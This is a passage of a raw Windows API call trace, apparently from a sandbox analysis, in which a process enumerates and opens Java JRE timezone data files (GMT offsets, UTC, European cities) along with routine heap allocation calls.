ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+6", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+7", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+8", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+9", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-1", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-10", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-11", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-12", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-13", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-14", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-2", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-3", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-4", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-5", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-6", cAlternateFileName="")) returned 1 [0088.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-7", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-8", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-9", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCT", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 0 [0088.756] GetLastError () returned 0x12 [0088.756] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.756] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Europe", cAlternateFileName="")) returned 1 [0088.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.757] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.757] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.758] NtClose (Handle=0x178) returned 0x0 [0088.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.758] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.761] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.762] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amsterdam", cAlternateFileName="")) returned 1 [0088.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c03a8 [0088.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb168 [0088.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.763] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Andorra", cAlternateFileName="")) returned 1 [0088.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c03c8 [0088.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb1f0 [0088.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8b40) returned 0x132a698 [0088.765] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Athens", cAlternateFileName="")) returned 1 [0088.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c03e8 [0088.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb278 [0088.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.767] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belgrade", cAlternateFileName="")) returned 1 [0088.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0408 [0088.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb300 [0088.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.768] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berlin", cAlternateFileName="")) returned 1 [0088.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0428 [0088.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb388 [0088.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.770] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brussels", cAlternateFileName="")) returned 1 [0088.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0448 [0088.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb410 [0088.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.772] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bucharest", cAlternateFileName="")) returned 1 [0088.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0468 [0088.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb498 [0088.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.773] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Budapest", cAlternateFileName="")) returned 1 [0088.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0488 [0088.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb520 [0088.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chisinau", cAlternateFileName="")) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 